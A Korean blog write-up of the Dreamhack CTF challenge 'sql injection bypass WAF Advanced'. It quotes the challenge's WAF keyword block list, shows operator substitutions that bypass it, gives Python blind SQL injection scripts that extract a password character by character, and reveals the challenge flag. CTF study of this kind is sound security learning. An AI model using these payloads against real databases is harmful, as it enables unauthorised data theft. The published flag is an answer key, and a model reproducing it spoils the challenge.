이번엔 Dreamhack sql injection bypass WAF Advanced 문제를 풀어볼 것이다.
정찰
문제 URL에 접속하면 아래와 같이 나온다.

uid를 입력하는 폼이 있길래 문제 파일을 다운로드하여 init.sql 파일을 보면
INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
이런 쿼리문이 있다.
flag는 admin의 upw 값이란 걸 알 수 있다.
당연히 admin은 필터링되기 때문에 다른 값을 넣어봤다.
uid 입력 폼에 abcde를 입력하면 upw가 아니라 uid값이 반환되는 걸 볼 수 있다.

upw가 반환되지 않으므로 blind sql injection을 이용해야한다.
페이로드를 작성하기 위해 app.py에서 어느게 필터링되는지 확인해봤다.
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/',
'\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
for keyword in keywords:
if keyword in data.lower():
return True
return False
keywords에 있는 문자열들이 필터링되는 것을 확인했고 대소문자를 다르게 입력해도 모두 소문자로 바꿔 비교하는 걸 알 수 있다.
and와 or은 && 또는 ||로 대체하여 사용할 수 있다.
그리고 app.py의 import문을 보면 어떤 sql을 쓰는지 알 수 있었다.
import os
from flask import Flask, request
from flask_mysqldb import MySQL
해당 문제는 mysql을 사용하는 것을 확인했다.
공격
'||(length(upw))=5#를 입력 폼에 넣어봤다.

그랬더니 abcde가 반환되는 것을 확인했다.
sqli가 성공했다는 것을 의미함과 동시에 해당 upw는 admin이 아니라 abcde의 upw 길이라는 것을 알 수 있다.
그래서 payload를 살짝 바꿨다.
해당 페이로드에서 uid가 abcde가 아닌 것으로 지정해주고 다시 공격을 시도해봤다.
이번엔 python 코드를 작성해서 공격을 진행했다.
for i in range(1,50):
payload = f"'||(length(upw)={i}&&(uid)!='abcde')#"
params = {"uid": payload}
response = requests.get(url, params=params)
print(i)
if "admin" in response.text:
print(f"flag length is {i}")
break
코드의 일부분이다. 이 코드로 진행을 해보면 flag length is 44가 터미널에 출력되고 flag의 길이는 44라는 것을 알 수 있다.
flag의 길이를 알아냈으니 이제 flag를 알아내면 된다.
flag = ""
for i in range(44):
for c in alphabet:
payload = f"'||substring(upw,{i+1},1)='{c}'&&(uid)!='abcde'#"
params = {"uid": payload}
response = requests.get(url, params=params)
if "admin" in response.text:
flag += c
print(f"found {c} at position {i+1}")
break
print(f"flag is {flag}")
코드의 일부분으로 upw를 알아내기 위해 substring을 이용하여 공격을 진행하였다.
진행하고 잠시 기다리면 flag is dh{d3def39496c4153942f3f7d5451a4b98c6db1664}라는 문자열이 나온다.
하지만 Dreamhack flag format은 DH{...}이므로
flag는 DH{d3def39496c4153942f3f7d5451a4b98c6db1664}이다.
FLAG
flag: DH{d3def39496c4153942f3f7d5451a4b98c6db1664}'Dreamhack > Web' 카테고리의 다른 글
| [Dreamhack] BISC board (0) | 2025.11.25 |
|---|---|
| [Dreamhack] phpmyredis (0) | 2025.11.24 |
| [Dreamhack] PATCH-1 (0) | 2025.08.20 |
| [Dreamhack] chocoshop (0) | 2025.08.13 |
| [Dreamhack] Safe Input (0) | 2025.04.17 |